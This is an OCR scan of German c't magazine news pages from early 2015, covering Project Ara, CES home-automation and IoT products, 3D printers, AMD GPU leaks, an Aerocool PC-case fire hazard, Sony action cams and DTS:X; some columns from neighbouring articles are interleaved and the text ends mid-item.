Modulares Smartphone kommt in Testphase 


Google will das modulare Smart- 
phone aus dem Project Ara in der 
zweiten Jahreshälfte zum Kauf 
anbieten, allerdings nur in Puerto 
Rico. Bislang gibt es nur einen 
Prototypen der aktuellen Baurei- 
he „Spiral 2“: Er besteht aus 
einem Aluminium-Gerüst, in das 
die Module eingeklinkt werden 
und magnetisch halten. Elf Modu- 
le aus Kategorien wie Akku, Dis- 
play, Kamera, Prozessor und Laut- 
sprecher gebe es derzeit, 3G-Te- 
lefonie fehle, so Google. Auch sei 
es noch nicht möglich, die Modu- 
le im Betrieb zu wechseln. 

Allzu viel Arbeit dürfte Google 
nicht mehr in Spiral 2 stecken, 
denn schon im Frühjahr soll die 
nächste Entwicklungsstufe Spi- 
ral 3 mit inkompatiblen Modulen 
erscheinen, darunter eines für 
LTE. Auch soll dann ein Tag Lauf- 
zeit drin sein, allerdings mögli- 
cherweise nur durch ein zweites 
Akkumodul. Die neuen Module 
kommunizieren induktiv über 
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eine kontaktlos ausgeführte Uni- 
Pro-Schnittstelle miteinander. 
Dieser Standard tunnelt andere 
Schnittstellen wie USB und I?C 
und kommt auch in der nächs- 
ten Generation von Flash-Spei- 
cherbausteinen zum Einsatz. 

Bis zum Verkaufsstart will Goo- 
gle 20 bis 30 Module aus zehn 
Kategorien anbieten können. Die 
stammen nicht von Google, son- 
dern von anderen Herstellern: 
So wollen etwa Nvidia und Mar- 
vell Prozessormodule herstellen. 
Zum Vertrieb soll ein Online-Mar- 
ketplace dienen, in dem Kunden 
sich ihre Wunschkonfiguration 
zusammenklicken. Allerdings 
muss wohl jeder Hersteller seine 
Module selbst in jedem Land von 
den jeweiligen Zulassungsbe- 
hörden überprüfen lassen. Das 
Pilotprojekt findet möglicher- 
weise deswegen in Puerto Rico 
statt, weil die Behörden sich of- 
fener als in anderen Ländern ver- 
(jow) 


halten. 


Km 


Das modulare Smartphone aus Googles Project Ara soll im 
zweiten Halbjahr erhältlich sein, allerdings nur in Puerto Rico. 


© copyright by Heise Zeitschriften Verlag 


c't 2015, Heft4 


Nico Jurran 


aktuell | Heimautomation 


Objekte der Begierde 


Internet der Dinge, Heimautomation und Smart Homes 


Vernetzte Lampen, deren Farben sich über Apps ändern lassen, und 
Wetterstationen mit Internetanschluss waren erst der Anfang: 2015 soll 
das Jahr des Internet der Dinge und des intelligenten Heims werden 
(siehe auch Seite 92 in dieser c't). 


Is Shawn DuBravac, Chef- 

Marktforscher der Consumer 
Electronics Association (CEA) 
und Autor des Buchs „Digital 
Destiny“, auf der Elektronikmes- 
se CES Anfang Januar vernetzte 
Gegenstände und Heimautoma- 
tionssysteme zu einem der gro- 
ßen Trends des Jahres erhob, da 
tat er dies mit einer Anmerkung: 
Bislang sei lediglich ein winziger 
Bruchteil aller Objekte vernetzt, 
folglich rolle erst noch eine ge- 
waltige Welle auf uns zu. 

Er dürfte Recht behalten: 
Schon die komplette Aufzählung 
der ersten Ankündigungen würde 
locker den Rahmen dieses Arti- 
kels sprengen - zumal die Band- 
breite von der smarten Snow- 
board-Bindung „Xon Snow-1” 
(von Cerevo, noch ohne Preis) 
über das Pool-Thermometer „Li- 
Iypad“ mit UV-Sensor (Vigilant, 
ab April für rund 100 Euro) und 
den vernetzten Babyschnuller 
„Pacif-i" mit Temperatursensor 
(Blue Maestro, im Frühjahr für 
rund 35 Euro) bis hin zum Feuer- 
zeug „Quitbit” reicht, das jeden 
angesteckten Glimmstängel zählt 
(ab März für rund 100 Euro). 
Hinzu kommen unzählige Haus- 
haltsgeräte mit Internetanschluss 
und natürlich die allgegenwärti- 
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gen LED-Leuchtmittel. Viel inte- 
ressanter als die schiere Masse 
ist jedoch, dass immer mehr Her- 
steller das „Internet of Things“ 
(loT) nicht mehr nur als An- 
sammlung vieler kleiner, vonei- 
nander getrennter Inseln mit der 
jeweils passenden App betrach- 
ten. Spürbar ist vielmehr ein 
Trend in Richtung Heimautoma- 
tion, bei dem Aktionen durch 
Trigger und über Zeitpläne aus- 
gelöst werden. 


Heimautomation 


So erweitert etwa Philips sein 
„Hue“-System, das bisher haupt- 
sächlich aus vernetzbaren LED- 
Leuchtmitteln und Leuchten be- 
steht, bis zum Jahresende um 
verschiedene Sensoren und 
einen Zwischenstecker für die 
Steckdose. Damit lassen sich 
dann logische Verknüpfungen 
realisieren - etwa, dass das Licht 
ausgeht, wenn längere Zeit keine 
Bewegung mehr in dem betref- 
fenden Raum festgestellt wird. 
Damit sich die neuen Senso- 
ren an die bereits erhältliche Zig- 
Bee-WLAN-Bridge koppeln las- 
sen, bedient sich Philips eines 
kleinen Kunstgriffs: Wie die Hue- 
Birnen funken die neuen Senso- 
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Philips erweitert sein Hue-System um einen Bewegungs-, 
einen Tür-/Fenster- und einen kombinierten Temperatur-/ 


Feuchtigkeitssensor. 
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ren nach dem sogenannten 
„Light Link“-Profil des Funk- 
protokolls ZigBee (ZLL) - obwohl 
es eigentlich speziell für den 
Heimautomationsbereich das 
„ZigBee Home Automation”-Pro- 
fil (ZHA) gibt. Im Ergebnis könn- 
ten Steuerzentralen für ZHA mit 
den neuen Sensoren nichts an- 
fangen. Da allerdings jüngst ent- 
schieden wurde, in der kommen- 
den Spezifikation 3.0 sowieso 
alle wichtigen ZigBee-Profile 
zusammenzuführen [1], bewirbt 
Philips die neuen Module kurzer- 
hand mit der Aussage „Ready for 
ZigBee 3.0”. 

Auch Belkin kündigte an, sei- 
nem „WeMo"-Programm batte- 
riebetriebene ZigBee-Sensoren 
hinzuzufügen - nachdem der 
bereits erhältliche (netzbetriebe- 
ne) Bewegungssensor via WLAN 
eingebunden wird. Wie Philips 
hat Belkin das ZigBee-Profil 
schon für die Ansteuerung von 
LED-Lampen im Einsatz - und 
wie die Holländer will das Unter- 
nehmen die neuen Sensoren 
über seine bestehende WLAN- 
ZigBee-Bridge (WeMO Link) an- 
binden. Folglich dürfte auch Bel- 
kin den ZLL-Weg beschreiten. 

ZigBees direkter Konkurrent 
Z-Wave ist bezüglich Sensoren 
und Aktoren bereits weiter: Unter 
den Funk-Nachrüstsystemen bie- 
tet es aktuell die größte Auswahl 
an passenden Modulen auf dem 
Markt - von Tür- und Fenster- 
sensoren und Thermostaten über 
Steckdosen-Zwischenstecker bis 
hin zu vernetzten LED-Birnen. 
Und das Angebot wächst weiter: 
So brachte das französische Start- 
up CBCC Domotique gerade den 
ersten Z-Wave-Schnurschalter für 
Leuchten heraus, während Aeon 
Labs für das zweite Quartal mit 
dem 40 Euro teuren „Smart 
Switch 6” einen Zwischenstecker 
ankündigte, der nichts mehr mit 
den hässlichen Klötzen von frü- 
her zu tun hat. 
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Elgatos Eve-Sensoren lassen sich über Apps auf Mobilgeräten 
abfragen. Bei der Vernetzung setzt man auf Apples Homekit. 


Die Auswahl erhältlicher Mo- 
dule macht das Protokoll attraktiv 
für Unternehmen wie Bosch, De- 
volo und Schwaiger, die bei der 
Heimautomation im Do-it-your- 
self-Bereich einsteigen wollen. So 
müssen sie das Rad nicht neu er- 
finden. Dieser Ansatz hat jedoch 
den Nachteil, dass sich die Markt- 
neulinge aus der Masse praktisch 
nur noch durch ihre Steuerzentra- 
len abheben können. In Anbe- 
tracht der Konkurrenz geht ein 
Schnellschuss da leicht nach hin- 
ten los. Devolo hatte daher unter 
Hinweis auf ein „Verbesserungs- 
und Entwicklungspotenzial” bei 
der Software seine „Home Con- 
trol”-Reihe bereits von November 
2014 auf das erste Quartal 2015 
verschoben. 


Hoffen auf HomekKit 


Ohne eigene Steuerzentrale will 
scheinbar Elgato bei seiner „Eve“ 
genannten Reihe von Sensoren 
auskommen. Sie messen unter 
anderem Luftqualität, Tempera- 
tur, Luftfeuchtigkeit und Luft- 
druck sowie Strom- und Wasser- 
verbrauch. Die Module sollen 
vielmehr Bluetooth Smart (Blue- 
tooth 4.x Low Energy) nutzen, 
das mittlerweile alle aktuellen 
Smartphones der großen Her- 
steller direkt unterstützen. 

Bei der Automatisierung und 
der Vernetzung mit Geräten an- 
derer Hersteller baut Elgato auf 
die angekündigte HomeKit-Platt- 
form von Apple. Die ist allerdings 
selbst für die Lizenznehmer bis- 
lang ein Buch mit sieben Siegeln. 
Bekannt ist nur, dass Apple gro- 
ßen Wert auf eine einfache An- 
bindung der Geräte und eine 
ebensolche Bedienung legt. So 
sollen sich für Geräte, Geräte- 
gruppen und Szenarien indivi- 
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duelle Namen vergeben lassen, 
um etwa Sprachbefehle wie „Siri, 
schalte alle Wohnzimmer-Lam- 
pen ein“ verwenden zu können. 
Zudem setzt die HomekKit-Zertifi- 
zierung den Einsatz eines speziel- 
len Chips voraus, der eine sichere 
Verbindung zwischen Gerät und 
Smartphone mittels elliptischer 
Kryptografie ermöglicht. Apple 
will sich offenbar nicht vorwerfen 
lassen, mit seinem Heimauto- 
mationsprojekt ein Einfallstor für 
Hacker zu schaffen. 

Auch wenn Homekit an sich 
unabhängig vom verwendeten 
Protokoll ist, halten sich hart- 
näckig Gerüchte, dass Apple sein 
aktuelles oder ein kommendes 
Apple TV zum HomekKit-Hub 
mit Bluetooth-Smart-Anbindung 
macht. Notfalls in die Bresche 
springen will das US-Unterneh- 
men iDevice mit seinem Modul 
„Switch“, das im Laufe des Jahres 
für rund 50 Euro in Europa erhält- 
lich sein soll. Der HomekKit-Zwi- 
schenstecker lässt sich nämlich 
nicht nur per Smartphone-App 
und zeitgesteuert schalten, son- 
dern dient auch anderen Blue- 


SmartThings und BMW haben 
auf der CES gezeigt, wie sich 
künftig autonome Fahrzeuge 
über Smartwatches dirigieren 
lassen könnten. 


11,020.0.m 1,313 


TV-Hersteller wie LG und Samsung wollen ihre Fernseher 
zu Displays für das smarte Heim machen. 


tooth-Geräten als Hub - sofern 
Apple dies gestattet. 

Allerdings zeichnet sich sowie- 
so ab, dass die Tage der Heimau- 
tomationslösungen gezählt sind, 
die nur ein Protokoll unterstüt- 
zen: Immer mehr Hersteller öff- 
nen ihre ursprünglich geschlos- 
senen Systeme. Am einfachsten 
ist dabei die Integration auf Plug- 
in-Ebene über eine IP-Anbin- 
dung, wie sie jüngst Fibaro bei 
seinem Z-Wave-Gateway „Home 
Center 2” mit der Firmware 4.0 
realisiert hat. Samsung-Tochter 
SmartThings will zumindest in 
den USA im zweiten Quartal 
einen Hub anbieten, der Z-Wave, 
ZigBee, WLAN und Bluetooth 
Smart beherrscht. D-Link erwei- 
tert sein System (bislang nur mit 
WLAN) um Z-Wave. 

Letztlich könnten separate 
Gateways und Bridges komplett 
verschwinden: So zeigte Securifi 
auf der CES seinen WLAN-Router 
„Almond+” mit Touchscreen und 
750 MHz schnellem Dual-Core- 
Prozessor, der für rund 250 US- 
Dollar gleich ZigBee und Z-Wave 
unterstützt. Der kleine Bruder 
„Almond“ mit Touchscreen und 
580-MHz-MIPS-CPU beherrscht in 
der 2015er-Fassung ab Werk für 
100 Dollar nur ZigBee, jedoch 
lässt sich Z-Wave über einen USB- 
Funkstick nachrüsten. Die Steue- 
rungssoftware läuft direkt auf 
den Geräten, Anpassungen sollen 
dank Open-Source-Software pro- 
blemlos möglich sein. 


Smart Home 


Der finale Schritt ist dann das 
„smart Home“, das Aktionen 
nicht alleine nach Zeitplänen 
oder Triggern, sondern selbst- 
ständig auslöst - und zwar wenn 
sie für den Nutzer nützlich sind. 
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Dafür ist laut Chef-Marktfor- 
scher DuBravac aber nötig, dass 
künftig Sensoren in unterschied- 
lichsten loT-Objekten zusam- 
menarbeiten: So könnten etwa 
ein Thermostat, eine IP-Kamera 
und ein Aktivitätstracker künftig 
gemeinsam ermitteln, wie viele 
Leute sich gerade im Wohnzim- 
mer befinden, welche Position 
sie eingenommen haben (etwa 
sitzend oder liegend) und in wel- 
cher Stimmung sich der Haus- 
herr befindet. Aus diesen Daten 
würde nach DuBravacs Vorstel- 
lung dann ein Video-on-De- 
mand-Dienst der Zukunft sehr 
viel bessere Vorschläge für den 
Filmabend generieren als man 
sie heute bekommt. 

Einen kleinen Einblick in diese 
Zukunft will Netatmo mit seiner 
„Welcome“ genannten IP-Kamera 
bereits ab dem zweiten Quartal 
liefern: Sie soll - dank Night 
Vision rund um die Uhr - in der 
Lage sein, die durch die Woh- 
nungstür kommenden Personen 
am Gesicht zu erkennen. Ist eine 
Person in der lokalen Datenbank 
gespeichert, erhält der Betreiber 
des Systems eine Anwesenheits- 
meldung samt Uhrzeit auf sein 
Handy. Erkennt Welcome den Be- 
sucher hingegen nicht, so schlägt 
die Kamera Alarm und schickt zur 
Kontrolle das erfasste Bild mit. 
Beim Setup müssen laut Herstel- 
ler keine Fotos der Familienmit- 
glieder und Freunde vorliegen. 
Welcome fertigt vielmehr alle 
Aufnahmen selbst an; mit der Zeit 
soll die Gesichtserkennung im- 
mer zuverlässiger arbeiten. (nij) 


Literatur 


[1] Nico Jurran, Sammeln zum Groß- 
angriff, Funkprotokoll ZigBee will 
sich neu erfinden, c’t 1/15, S. 30 
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Rudolf Opitz 


Plastik und Schokolade 


3D-Drucker und -Scanner werden günstiger, 
die Druckmaterialpalette wird breiter 


Zu den üblichen Kunststoffen, mit 
denen 3D-Schichtdrucker arbeiten, 
gesellen sich leitfähige Materialien 
zum Drucken von Schaltungen. 
Andere 3D-Drucker verwenden 
Nahrhaftes wie Schokolade, Zucker 
oder Teig. Bald soll es betriebsbereite 
3D-Drucker ab 250 US-Dollar und 
3D-Scanner für 500 Euro geben. 


as US-amerikanische Start-up „New 
Matter” hat seine Indiegogo-Crowdfun- 
ding-Kampagne erfolgreich beendet und 
will seinen kompakten 3D-Drucker „Mod-t” 
für nur 250 US-Dollar auf den Markt bringen. 
Das kompakte Gerät druckt kleinere Gegen- 
stände (maximaler Druckbereich 15 cm x 
10 cm x 12,5 cm) mit PLA-Filament und mi- 
nimal 0,1 mm Schichtdicke. Wann man den 
Mod-t kaufen kann, steht noch nicht fest, 
erste Prototypen konnte man aber bereits 
auf der diesjährigen CES bewundern. 
XYZprinting, Hersteller des da Vinci AiO 
mit integriertem 3D-Scanner (siehe Test auf 
Seite 68) hat den Einsteiger-Drucker ohne 
Scanner „da Vinci Jr.“ für 349 US-Dollar vorge- 
stellt. Nach oben soll die da-Vinci-Serie, zu 
der auch der zweifarbige Drucker „da Vinci 
2.0 Duo” gehört, mit dem „da Vinci 1.1 Plus” 
inklusive WLAN, Touchscreen und Druck-App 
fürs Smartphone aufgestockt werden. Der 
„3D Food Printer” von XYZprinting soll 3D- 
Druck in die Küche bringen: Er druckt Teig- 
Schichten aus einer Spritze, die essbaren Ob- 


jekte muss man hinterher nur noch backen - 
der Preis soll unter 2000 Dollar liegen. 

Cube-3-Hersteller 3D Systems entwickelt 
zurzeit den Schokolade-Drucker CocoJet - in 
Zusammenarbeit mit Schokoladespezialist 
Hershey. Drucker und besonders die Erzeug- 
nisse können Besucher bereits in Hershey’s 
Chocolate World bewundern und genießen. 
Im zweiten Halbjahr 2015 sollen dagegen 
erste Modelle der ChefJet-Pro-Serie auf den 
Markt kommen, Lebensmittel-Drucker, die 
außer Schokolade auch Zucker und Teig ver- 
arbeiten können. Für Computer-affine Küchen- 
Chefs gibt es dazu die Software „Digital 
Cookbook“. Auch das spanische Unter- 
nehmen „Natural Machines” arbeitet an einem 
„Foodini” getauften Lebensmitteldrucker. 

Der von der Lewis Research Group um 
die Harvard-Professorin Jennifer A. Lewis 
entwickelte „Voxel8" kombiniert einen 
PLA-Schicht-Drucker mit einem zusätzlichen 
Druckkopf für hochleitfähige Silbertinte. 
Damit lassen sich Leiterbahnen drucken und 
Elektronik direkt in die gedruckten Objekte 
integrieren. Die bei Raumtemperatur verar- 
beitbare Silbertinte ist 5000-mal leitfähiger 
als Kohlenstoff-basierte Kunststoffe und eig- 
net sich auch für Schaltungen, bei denen 
hohe Ströme fließen, etwa in Quadcoptern. 
Der Elektronik-Drucker Voxel8 soll Ende 2015 
für rund 9000 US-Dollar zu haben sein. 


Preiswert digitalisieren 


Um 3D-Vorlagen zum Ausdrucken zu scan- 
nen, fehlten bislang preisgünstige 3D-Scan- 
ner. Das kanadische Start-up „Matter and 


Bas 3D-Scanner Ciclop ist ein reines 
Open-Source-Projekt, die Hardware 
besteht aus handelsüblichen Teilen 
und Elementen aus dem 3D-Drucker. 


Form” bietet nun ihren zusammenklapp- 
baren 3D-Scanner für 600 US-Dollar an. Der 
Farbscanner besteht aus einem Drehteller, 
einer HD-Kamera und zwei Lasern. Ein Scan 
von maximal 19 cm x 19 cm x 25 cm großen 
Vorlagen dauert rund fünf Minuten, die Ge- 
nauigkeit liegt bei 0,25 mm. Ein Vorserien- 
Modell haben wir bereits getestet (c't 11/14, 
Seite 144). Zum Austausch und Konvertieren 
von 3D-Modellen zwischen beliebigen Platt- 
formen will Matter and Form demnächst 
seine Browser-Software „Cashew” bereit- 
stellen. 

Vom spanischen 3D-Druck-Unternehmen 
Bq - von ihm stammen die Drucker Witbox 
und der 500 Euro teure Bausatz Prusa i3 
Hephestos - kommt der 3D-Scanner Ciclop 
als Open-Source-Projekt. Wie der Scanner 
von Matter and Form arbeitet er mit Linien- 
laserprojektion und einem Drehteller. Als 
Kamera dient eine handelsübliche HD- 
Webcam (Logitech C270 HD), die Steuerung 
übernimmt das Arduino-Board ZUM BT-328. 
Die Gehäuseelemente des Ciclop-Scanners 
bestehen aus Formteilen aus dem 3D-Dru- 
cker sowie Standard-Stangen und Schrauben 
aus dem Baumarkt. (rop) 


CE Ciclops-Präsentation: ct.de/yzax 


Der nach Fords erstem Serien-Auto 
„Mod-t” getaufte 3D-Drucker von New 
Matter soll nur 250 US-Dollar kosten. 
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Er hat keinen Scanner, druckt mit 
einer Farbe und kostet nur 350 Dollar: 
der da Vinci Jr. von XYZprinting. 
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Der ChefJet von 3D Systems druckt 3D- 
Figuren aus Zucker, das essbare Pärchen 
auf der Hochzeitstorte ist so kein Problem. 
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Kühler-Alternativen für c’t-PC-Bauvorschläge 


Wenige Tage, nachdem die c't 
1/15 mit unseren PC-Bauvor- 
schlägen erschien, hat Scythe 
den von uns empfohlenen Pro- 
zessorkühler Kabuto Il aus sei- 
nem Sortiment genommen. 

Als Alternative für den Quad- 
Core-PC empfehlen wir stattdes- 
sen den Scythe lori (SCIOR-1000). 
Der Top-Blower-Kühler mit 10- 
cm-Lüfter lässt sich dank Push- 
Pin-Befestigung genauso leicht 
montieren wie der Kabuto Il. Im 
Leerlauf und bei Volllast bleibt 
der Geräuschpegel unterhalb von 
0,1 Sone. Der lori kostet 26 Euro. 

Den Hexa-Core-PC haben wir 
mit dem größeren Scythe Grand 
Kama Cross 2 (SCKC-3000) für 35 


Erste Details zu Next-Gen-Grafikkarten von AMD 


Endlich sind erste handfeste De- 
tails zu AMDs kommenden High- 
End-Grafikchips an die Öffent- 
lichkeit gelangt - und zwar di- 
rekt von zwei AMD-Mitarbeitern. 
Sie stammen aus Einträgen auf 
den Linkedin-Seiten von Linglan 
Zhang und Ilana Shternshain, auf 
die ein Nutzer des 3DCenter- 
Forums aufmerksam wurde. 

Die Einträge von Zhang be- 
stätigen, dass AMDs künftige 


Euro ausgerüstet. Auf den Kühl- 
lamellen sitzt ein 14-cm-Lüfter, 
damit es dem Core i7-5930K mit 
140 Watt TDP nicht zu heiß wird. 
Bei ruhendem Desktop ist der 
Rechner nahezu geräuschlos 
(<0,1 Sone), bei Volllast auf Pro- 
zessor und GTX 970 kommen 
wir auf die gleichen Werte wie 
mit dem Kabuto 2 (1,1 Sone). 
Wir bitten, die Unannehmlich- 
keiten durch die Lieferschwierig- 
keiten zu entschuldigen. (chh) 


Auch unter Volllast bleiben die 
Temperaturen auf dem Main- 
board unseres Quad-Core-Bau- 
vorschlags mit dem CPU-Küh- 
ler Scythe lori unter 50 °C. 


High-End-GPU satte 300 Watt 
schluckt und tatsächlich gesta- 
pelten Videospeicher einsetzt 
(High Bandwidth Memory/ 
HBM). Das DRAM sitzt dabei 
nicht direkt über dem GPU-Die, 
sondern über einen Interposer 
verbunden eng daneben. Da- 
durch sind Transferraten von 
512 GByte/s und mehr möglich 
- also wesentlich mehr, als sich 
mit GDDR5-Modulen realisieren 


Brandgefahr bei PC-Gehäusen 


Bei mehreren Gehäusen vom Typ 
Strike-X ST des taiwanischen Her- 
stellers Aerocool fing in den letz- 
ten Monaten die SATA-Docking- 
Station Feuer. Zu den Betroffe- 
nen zählt auch ein c’t-Leser, des- 
sen Rechner im vergangenen 
Oktober unbeaufsichtigt in Flam- 
men aufging und einen Woh- 
nungsbrand mit einem Sach- 
schaden von rund 80 000 Euro 
verursachte. Glücklicherweise 
wurde dabei niemand verletzt. 
Nach dem Sachverständigen- 
gutachten, das c't vorliegt, wurde 
der Brand durch einen Kurz- 
schluss auf der Anschlussplatine 
der Docking-Station verursacht. 
Der Gutachter geht von einem 
Produktmangel des PC-Gehäuses 
aus. Der betroffene Rechner war 
zum Zeitpunkt des Feuers bereits 
anderthalb Jahre im Einsatz. 


An der Docking-Station des 
Aerocool Strike-X ST besteht 
Kurzschlussgefahr, was zu 
Bränden führen kann. 
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Anfang letzten Jahres konnte 
die Redaktion des Online-Ma- 
gazin Tom’s Hardware Guide 
Deutschland die Flammen an 
einem Gehäuse des gleichen 
Typs noch frühzeitig mit einer 


lässt. Solche Transferraten sind 
in Kombination mit einer sehr 
schnellen GPU nötig, um aktuel- 
le Spiele in AK flüssig bei 60 fps 
darzustellen. 

Die ASIC-Ingenieurin Shtern- 
shain erwähnt erstmals eine Ra- 
deon R9 380X als größten Chip 
der „King-of-the-Hill“-Produkt- 
linie. Ob die RY 380% allerdings 
identisch mit der von Zhang 
erwähnten 300-Watt-GPU ist, 


Kaffeetasse löschen. Im Internet 
findet man weitere Berichte über 
Brände dieses Gehäuses (siehe 
c't-Link). Inzwischen ist das 
Strike-X ST hierzulande nur noch 
bei wenigen Händlern erhältlich. 
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Bild: Benedikt Schackenberg 


bleibt unklar. Möglich ist auch, 
dass AMD noch eine R9-390X- 
Serie fertigt, die exklusiv die 
Stapelspeichertechnik nutzt. Ge- 
rüchten zufolge soll AMDs kom- 
mende Spitzen-GPU bis zu 4096 
Kerne haben und damit Nvidias 
derzeitiges Top-Modell GM204 
um den Faktor 2 überflügeln. 
Nvidias Next-Gen-GPU wird als 
GM200 mit 3072 Shader-Kernen 
erwartet. (mfi) 


Der Hersteller Aerocool er- 
klärte auf Nachfrage, dass es 
sich nicht um einen Fertigungs- 
fehler handeln kann, da das Ge- 
häuse unseres Lesers bereits 
2012 erworben wurde und der 
Fehler erst 2014 auftrat. Es seien 
auch andere Gründe wie Über- 
spannung, falsche Handhabung 
oder Fehlfunktion anderer Kom- 
ponenten möglich. Dennoch 
will Aerocool alle Kunden und 
Endverbraucher darüber infor- 
mieren, das Dock nicht mehr zu 
nutzen. Eine offizielle Mitteilung 
an Großhändler und Medien sei 
in Arbeit. Für das Gehäuse soll 
es kostenlos eine neue An- 
schlussplatine geben. Den Her- 
steller kann man per E-Mail 
(sales@aerocool.com.tw) kon- 
taktieren. 

Wir raten Nutzern eines 
Aerocool Strike-X ST, umgehend 
das Stromkabel der Docking- 
Station vom PC-Netzteil abzu- 
ziehen. (chh) 


CE Weitere Fotos: ct.de/yngm 
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Action-Cams: Sony macht GoPro Konkurrenz 


Sonys Action-Cam FDR-X1000V 
zeichnet Videos in Ultra HD 
(3840 x 2160) auf und unter- 
stützt Full HD (1920 x 1080) mit 
bis zu 120 Bildern/s. Zumindest 
beim Blick auf die Eckdaten hat 
Action-Cam-Primus GoPro damit 
endlich einen ebenbürtigen 
Gegner. Die Gehäuseform und 
-farbe der FDR-X1000V orientie- 
ren sich an den bisherigen Mo- 
dellen von Sonys AS-Reihe. Wie 
die älteren Action-Cams ist die 
Kamera auch ohne zusätzliches 
Schutzgehäuse spritzwasser- 
geschützt, was Einsätze bei leich- 
tem Regen und am Strand er- 
möglichen soll. Ein zusätzlich er- 
hältliches Schutzgehäuse er- 
weitert den Aktionsradius bis in 
10 Meter Wassertiefe. 

Ein zweiter Neuling, die HDR- 
AS200, entspricht weitgehend 
der FDR-X1000, unterscheidet 
sich aber durch etwas andere 
Aufzeichnungsmodi. Ein Zeiss- 
Tessar-Objektiv (F2,8) und einen 
8,8-MPixel-Bildwandler (1/2,3 
Zoll) verwendet Sony in beiden 
Action-Cams. Der Bildwinkel 


liegt bei beiden Modellen bei 
170 (ohne) oder 120 Grad mit 
Bildstabilisator. Den Entwackler 
hat Sony verbessert und die Leis- 
tung um Faktor 3 gesteigert. 

Die beiden neuen Action- 
Cams zeichnen XAVC-S- oder 
MP4-Videodaten auf - die FDR- 
X1000 mit maximal 100 MBit/s in 
Ultra HD mit 30, 25 oder 24 Bil- 
dern/s und in Full HD mit bis zu 
120 Bildern/s sowie in HD (1280 x 
720) mit 240 Bildern/s, was eine 
hochaufgelöste Zeitlupe erlaubt. 
Die HDR-AS200 zeichnet da- 
gegen im XAVC-S-Modus mit 
50 MBit/s auf, als MP4 wie die 
FDR-X1000 mit bis zu 28 MBit/s 
und 50 beziehungsweise 60 Voll- 
bildern/s. 

Beide neuen Action-Cams 
speichern im Loop-Modus dau- 
ernd in einen Ringpuffer, dessen 
Inhalt erst nach dem Auslösen auf 
die Speicherkarte geschrieben 
wird. Außerdem lassen sich beide 
Modelle mit der Fernbedienung 
RM-LV2 steuern, die schon für die 
HDR-AZ1 angeboten wurde und 
rund 100 Euro kostet. 


Neues Surround-Format DTS:X 


Eigentlich wollte DTS beim Ren- 
nen um ein noch besseres Sur- 
round-Format eine Runde aus- 
setzen, hat nun aber doch ein 
Konkurrenzformat zu Dolby 
Atmos angekündigt. Wie Dolbys 
Format verteilt auch DTS:X in 
Echtzeit „Audio-Objekte“ im 
Raum und ergänzt bestehende 
5.1- und 7.1-Setups um Decken- 
lautsprecher. DTS:X wird dabei 
auch die für Dolby Atmos ange- 
botenen Lautsprecher unterstüt- 


zen, die für die oberen Kanäle 
gedachten Töne über die Decke 
zum Zuhörer reflektieren. Diese 
Lautsprecher richten sich an 
Nutzer, die nichts an der Decke 
montieren wollen. Laut DTS 
haben die Receiver-Hersteller 
Denon, Integra, Marantz, Onkyo, 
Pioneer und Yamaha bereits Un- 
terstützung für das neue Sur- 
round-Format zugesichert. Erste 
Geräte sollen noch in diesem 
Jahr herauskommen. 
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Sonys handliche AK-Action-Cam FDR-X1000V, 
hier im zusätzlich erhältlichen Schutzgehäuse 


Die HDR-AS200V (24,2 x 46,5 x 
81,5 mm) ist etwas kleiner als 
die FDR-X1000V (24,4 x 51,7 x 
88,9 mm) und mit 68 Gramm 
etwas leichter als die 89 Gramm 
schwere 1000er. Sony nennt 
Akku-Laufzeiten von 50 (AK) 


Wie viele Kanäle das System 
im Heimkino tatsächlich unter- 
stützen wird, wollte DTS bisher 
nicht sagen. Der offizielle Start 
ist erst für März geplant. 

Bei einer Vorführung auf der 
CES hatte DTS gleich acht De- 
ckenlautsprecher montiert. Be- 
kannt ist jedoch, dass DTS:X eine 
Erweiterung des auf Blu-ray ver- 
breiteten DTS HD Master Audio 
und damit auch abwärtskompa- 
tibel zu A/V-Receivern sein wird, 


oder 115 Minuten (Full HD). Die 
beiden Action-Cams sollen für 
450 Euro (FDR-X1000V) bezie- 
hungsweise 300 Euro (HDR-AS 
200V) auf den Markt kommen. 
Obendrein soll es diverse Zube- 
hör-Kits geben. (uh) 


die nur das ältere DTS-Audio- 
format unterstützen. 

DTS will sein neues Format 
breiter als Dolby Atmos auf- 
stellen und demonstrierte bei- 
spielsweise anhand eines Fuß- 
ballspiels, bei dem die Kanäle für 
Seitenlinie, Trainer und Kom- 
mentar als eigene Audio-Objek- 
te übertragen wurden, wie sich 
die Zuschauer/-hörer ihren eige- 
nen Mix zusammenstellen könn- 
ten. (nij) 
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aktuell | Embedded 


Mini-ITX-Board mit fünfter Core-i-Generation 


Während PC-Bastler noch eine 
ganze Weile auf Boards für Intels 
fünfte Core-i-Generation alias 
Broadwell warten müssen, kön- 
nen Embedded-Entwickler be- 
reits loslegen. Congatec lötet die 
mobilen Doppelkernprozessoren 
Core i7-5650U (2,2 bis 3,2 GHz), 
Core i5-5350U (1,8 bis 2,9 GHz) 
und Core i3-5010U (2,1 GHz) auf 
Mainboards im Mini-ITX-Format 
und auf COM-Express-Module. 
Ein separater Chipsatz ist bei die- 
sen Systems-on-Chip (SoC) nicht 
erforderlich, der Prozessor selbst 
kümmert sich um die Anbin- 
dung der Peripherie. 

Das conga-IC97 ist mit einer 
Höhe von 2,5 cm sogar noch fla- 
cher als übliche Mini-ITX-Boards, 
hat sonst aber dieselben Abmes- 
sungen (17 cm x 17 cm). Aller- 


dings gibt es dadurch im An- 
schlussfeld nur Platz für 2 x Dis- 
playPort, 4x USB 3.0, 2 x Gigabit- 
Ethernet und zwei Audiobuch- 
sen. Erweitern kann man über 
einen PCle-x4-Slot der zweiten 
Generation sowie mit einer kur- 
zen Mini-PCle-Karte, die zwei 
PCle 2.0 Lanes bekommt. Das 
Board akzeptiert Gleichspannun- 
gen zwischen 12 und 24 Volt. 
Anders als Mini-ITX-Boards, 
braucht das nur 9,5 cm x 9,5 cm 
große COM Express Compact- 
Modul (Typ 6) conga-TC97 noch 
eine Trägerplatine. Es führt selbst 
keine Anschlüsse nach außen, 
sondern lediglich 2 x USB 3.0,4x 
USB 2.0, 1 x Gigabit-Ethernet 
sowie je vier PCle 2.0 Lanes und 
SATA-6G-Ports auf einen Steck- 
verbinder. Durch diesen modula- 


Wärmebildkamera für Android und iOS 


Der IR-Kamera-Spezialist Flir stellt 
eine verbesserte Variante seiner 
Aufsteck-Kamera Flir One mit nun 
vierfacher Auflösung vor. Die 
neue One soll sich für i0OS- und 
Android-Geräte gleichermaßen 
eignen. Sie hat 640 x 480 Pixel für 
Wärmebildaufnahmen; die erste 
One besaß bloß 80 x 60 Pixel. Zu- 
